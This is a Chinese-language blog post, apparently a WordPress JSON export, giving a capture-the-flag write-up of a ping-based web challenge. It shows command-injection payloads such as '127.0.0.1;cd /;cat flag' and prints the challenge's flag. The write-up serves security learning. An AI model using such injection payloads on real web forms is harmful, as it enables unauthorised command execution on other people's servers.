{"id":484,"date":"2024-01-19T20:38:10","date_gmt":"2024-01-19T12:38:10","guid":{"rendered":"https:\/\/blog.taiyang.space\/?p=484"},"modified":"2024-01-19T20:38:11","modified_gmt":"2024-01-19T12:38:11","slug":"buuctf-web-actf2020-%e6%96%b0%e7%94%9f%e8%b5%9bexec","status":"publish","type":"post","link":"https:\/\/blog.taiyang.space\/?p=484","title":{"rendered":"BUUCTF-Web-[ACTF2020 \u65b0\u751f\u8d5b]Exec"},"content":{"rendered":"

<\/p>\n

1. \u9898\u76ee\u63cf\u8ff0<\/h1>\n

\u9898\u76ee\u94fe\u63a5\uff1a\u6233\u6211\ud83d\udc8b<\/a><\/p>\n

2. \u89e3\u9898\u8fc7\u7a0b<\/h1>\n

\u6253\u5f00\u73af\u5883<\/p>\n

\"img\"<\/p>\n

\u53c8\u662f\u4e00\u4e2aping\u7684\u9898\uff0c\u731c\u6d4b\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u3002<\/p>\n

payload\uff1aping 127.0.0.1;ls<\/code><\/p>\n

\"img\"<\/p>\n

\u76f4\u63a5\u663e\u793a\u4e86index.php,\u8981\u77e5\u9053Linux\u7cfb\u7edf\u663e\u793a\u7f51\u9875\u7684\u8def\u5f84\u662f\/var\/www\/html<\/p>\n

\u4e5f\u5c31\u662f\u8bf4index.php\u5728\u8fd9\u4e2a\u8def\u5f84\u91cc,\u800c\u4e14;<\/code>\u5206\u53f7\u53c8\u6ca1\u6709\u8fc7\u6ee4<\/p>\n

\u5148\u8fd4\u56de\u6839\u76ee\u5f55\u770b\u770bflag\u5728\u4e0d\u5728\uff1a127.0.0.1;cd \/;ls<\/code><\/p>\n

\"img\"<\/p>\n

\u8fd8\u771f\u5728\uff0c\u800c\u4e14\u7a7a\u683c\uff0c\u5206\u53f7\u90fd\u6ca1\u8fc7\u6ee4\u3002<\/p>\n

\u6700\u540e\u7684payload\uff1a127.0.0.1;cd \/;cat flag<\/code><\/p>\n

\"img\"<\/p>\n

\u5f97\u5230flag\uff1aflag{3b856f6e-4d48-48de-9dfc-bda37140b087}<\/code><\/p>\n

3. \u6240\u9700\u5de5\u5177<\/h1>\n

\u65e0<\/p>\n

4. \u5199\u5728\u6700\u540e<\/h1>\n

\u672c\u6587\u5b8c
\n\u656c\u7231\u4e0e\u660e\u5929\ud83c\udf39<\/p>\n

<\/body><\/p>\n","protected":false},"excerpt":{"rendered":"

1. \u9898\u76ee\u63cf\u8ff0 \u9898\u76ee\u94fe\u63a5\uff1a\u6233\u6211\ud83d\udc8b 2. \u89e3\u9898\u8fc7\u7a0b \u6253\u5f00\u73af\u5883 \u53c8\u662f\u4e00\u4e2aping\u7684\u9898\uff0c\u731c\u6d4b\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u3002 payl […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[166,165],"class_list":["post-484","post","type-post","status-publish","format-standard","hentry","category-web","tag-ctf","tag-165"],"yoast_head":"\nBUUCTF-Web-[ACTF2020 \u65b0\u751f\u8d5b]Exec - #\u762b\u7537\u65e5\u8bb0<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/blog.taiyang.space\/?p=484\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"BUUCTF-Web-[ACTF2020 \u65b0\u751f\u8d5b]Exec - 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